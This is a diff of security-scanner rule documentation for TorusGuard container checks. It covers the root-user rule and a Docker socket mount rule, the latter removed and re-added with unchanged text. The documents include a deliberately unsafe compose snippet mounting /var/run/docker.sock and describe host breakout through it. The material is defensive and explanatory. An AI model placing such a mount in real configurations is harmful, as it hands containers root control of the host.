USER appuser
|
|
40
|
+
CMD ["node", "server.js"]
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## Remediation
|
|
44
|
+
1. Declare a non-privileged user and group (`USER appuser` or `USER 10001:10001`).
|
|
45
|
+
2. Ensure file permissions allow the non-root user to read necessary application files.
|
|
46
|
+
3. In Compose files, set `user: "10001:10001"`.
|
|
47
|
+
|
|
48
|
+
## Related Rules
|
|
49
|
+
- `TG-CONT-002`: Dangerous Docker Socket Mount
|
|
50
|
+
- `TG-CONT-003`: Privileged Container Mode
|
|
@@ -1,47 +1,47 @@
|
|
|
1
|
-
# TG-CONT-002: Dangerous Docker Socket Mount
|
|
2
|
-
|
|
3
|
-
## Severity
|
|
4
|
-
Critical. Mounting `/var/run/docker.sock` grants the container full root control over the host Docker daemon, enabling trivial container breakout and host root takeover.
|
|
5
|
-
|
|
6
|
-
## Applies To
|
|
7
|
-
- `docker-compose.yml`, `docker-compose.yaml`, `compose.yml`, `compose.yaml`
|
|
8
|
-
- Kubernetes PodSpecs, Helm charts, Docker run scripts
|
|
9
|
-
|
|
10
|
-
## Why It Matters
|
|
11
|
-
The Docker UNIX socket (`/var/run/docker.sock`) is the management API for the Docker daemon. Any process that can communicate with this socket can issue API calls to spawn new containers with host root filesystem mounts (`-v /:/host`), inspect all container secrets, and execute code directly on the host machine.
|
|
12
|
-
|
|
13
|
-
## What TorusGuard Looks For
|
|
14
|
-
1. Volume bindings referencing `/var/run/docker.sock:/var/run/docker.sock`.
|
|
15
|
-
2. Mounting the Docker socket in read-write or read-only mode without a hardening proxy.
|
|
16
|
-
|
|
17
|
-
## Unsafe Example
|
|
18
|
-
```yaml
|
|
19
|
-
# UNSAFE: Exposes host Docker daemon to the container
|
|
20
|
-
version: '3.8'
|
|
21
|
-
services:
|
|
22
|
-
app:
|
|
23
|
-
image: my-app:latest
|
|
24
|
-
volumes:
|
|
25
|
-
- /var/run/docker.sock:/var/run/docker.sock
|
|
26
|
-
```
|
|
27
|
-
|
|
28
|
-
## Safe Example
|
|
29
|
-
```yaml
|
|
30
|
-
# SAFE: Remove Docker socket mount; use dedicated APIs or rootless sidecars
|
|
31
|
-
version: '3.8'
|
|
32
|
-
services:
|
|
33
|
-
app:
|
|
34
|
-
image: my-app:latest
|
|
35
|
-
volumes:
|
|
36
|
-
- app-data:/data
|
|
37
|
-
volumes:
|
|
38
|
-
app-data:
|
|
39
|
-
```
|
|
40
|
-
|
|
41
|
-
## Remediation
|
|
42
|
-
1. Remove `/var/run/docker.sock` volume bindings from application containers.
|
|
43
|
-
2. If Docker commands are required, use unprivileged rootless container tooling (e.g., Kaniko for image builds) or a restricted Docker socket proxy that denies container-creation privileges.
|
|
44
|
-
|
|
45
|
-
## Related Rules
|
|
46
|
-
- `TG-CONT-001`: Root User Execution in Container
|
|
47
|
-
- `TG-CONT-003`: Privileged Container Mode
|
|
1
|
+
# TG-CONT-002: Dangerous Docker Socket Mount
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
Critical. Mounting `/var/run/docker.sock` grants the container full root control over the host Docker daemon, enabling trivial container breakout and host root takeover.
|
|
5
|
+
|
|
6
|
+
## Applies To
|
|
7
|
+
- `docker-compose.yml`, `docker-compose.yaml`, `compose.yml`, `compose.yaml`
|
|
8
|
+
- Kubernetes PodSpecs, Helm charts, Docker run scripts
|
|
9
|
+
|
|
10
|
+
## Why It Matters
|
|
11
|
+
The Docker UNIX socket (`/var/run/docker.sock`) is the management API for the Docker daemon. Any process that can communicate with this socket can issue API calls to spawn new containers with host root filesystem mounts (`-v /:/host`), inspect all container secrets, and execute code directly on the host machine.
|
|
12
|
+
|
|
13
|
+
## What TorusGuard Looks For
|
|
14
|
+
1. Volume bindings referencing `/var/run/docker.sock:/var/run/docker.sock`.
|
|
15
|
+
2. Mounting the Docker socket in read-write or read-only mode without a hardening proxy.
|
|
16
|
+
|
|
17
|
+
## Unsafe Example
|
|
18
|
+
```yaml
|
|
19
|
+
# UNSAFE: Exposes host Docker daemon to the container
|
|
20
|
+
version: '3.8'
|
|
21
|
+
services:
|
|
22
|
+
app:
|
|
23
|
+
image: my-app:latest
|
|
24
|
+
volumes:
|
|
25
|
+
- /var/run/docker.sock:/var/run/docker.sock
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
## Safe Example
|
|
29
|
+
```yaml
|
|
30
|
+
# SAFE: Remove Docker socket mount; use dedicated APIs or rootless sidecars
|
|
31
|
+
version: '3.8'
|
|
32
|
+
services:
|
|
33
|
+
app:
|
|
34
|
+
image: my-app:latest
|
|
35
|
+
volumes:
|
|
36
|
+
- app-data:/data
|
|
37
|
+
volumes:
|
|
38
|
+
app-data:
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## Remediation
|
|
42
|
+
1. Remove `/var/run/docker.sock` volume bindings from application containers.
|
|
43
|
+
2. If Docker commands are required, use unprivileged rootless container tooling (e.g., Kaniko for image builds) or a restricted Docker socket proxy that denies container-creation privileges.
|
|
44
|
+
|
|
45
|
+
## Related Rules
|
|
46
|
+
- `TG-CONT-001`: Root User Execution in Container
|
|
47
|
+
- `TG-CONT-003`: Privileged Container Mode
|